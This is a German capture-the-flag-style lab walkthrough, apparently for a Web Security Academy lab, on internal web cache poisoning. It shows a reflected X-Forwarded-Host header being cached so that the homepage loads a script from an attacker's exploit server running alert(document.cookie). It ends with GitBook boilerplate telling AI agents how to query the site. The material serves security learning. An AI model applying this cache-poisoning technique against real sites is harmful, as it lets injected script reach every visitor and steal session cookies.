> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cache-poisoning/internal-cache-poisoning.md).

# Interne Cache-Vergiftung

### Interne Cache-Vergiftung

Dieses Lab ist anfällig für die Vergiftung des Web-Caches und verwendet mehrere Cache-Ebenen. / Ein Benutzer besucht regelmäßig die Startseite der Website mit Chrome.

Das Ziel ist es, den **internen Cache** zu vergiften, sodass die Startseite `alert(document.cookie)` im Browser des Opfers ausführt.

**Erste Analyse**

Wir fangen die Anfrage an die Root-URL (`/`) ab und analysieren mit **Param Miner**

<figure><img src="/files/e9d9c563db5adb151f4ae3e41aad7f3f7226759f" alt=""><figcaption></figcaption></figure>

**Beobachtung des Verhaltens**

Wenn wir den folgenden Header zur Anfrage hinzufügen:

<figure><img src="/files/abfa0d4ca4b6f420579cbb123f748e3e4dde5bcc" alt=""><figcaption></figcaption></figure>

Wir stellen fest, dass die Serverantwort diesen Wert widerspiegelt.

```http
X-Forwarded-Host: test.com
```

<figure><img src="/files/29cd6cf4d29271495ead089186afcc0ba7bcc486" alt=""><figcaption></figcaption></figure>

Diese Änderung ist jedoch nur sichtbar, wenn der Header bei internen Anfragen beibehalten wird.

Durch das Senden zahlreicher Anfragen mit diesem Header landet der Server schließlich dabei, **die interne Antwort zu cachen**.

\*\* Auswirkungen auf zwischengespeicherte Inhalte\*\*

Ein ursprünglich in folgender Form geladenes Skript:

{% code overflow="wrap" %}

```html
<script src=
//0a3e00ba04f2869b810cbcb30088000a.web-security-academy.net/js/geolocate.js?callback=loadCountry>
</script>
```

{% endcode %}

Nach der Cache-Vergiftung wird es umgewandelt in:

```html
<script src=
//test.com/js/geolocate.js?callback=loadCountry>
</script>
```

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/90dc50cb8fd1443d12b96cab86b635c290b48e9d" alt=""><figcaption></figcaption></figure>

Die Quelle des Skripts hängt nun vom Wert ab, der über `X-Forwarded-Host`.

```http
X-Forwarded-Host: exploit-0a27006104d786ef8150bbc601bd0070.exploit-server.net
```

Der interne Cache wird mit einer bösartigen Antwort vergiftet. / Wenn das Opfer die Startseite besucht, lädt der Browser das Skript von unserem Server, was zur Ausführung von Folgendem führt:

```javascript
alert(document.cookie)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/cache-poisoning/internal-cache-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
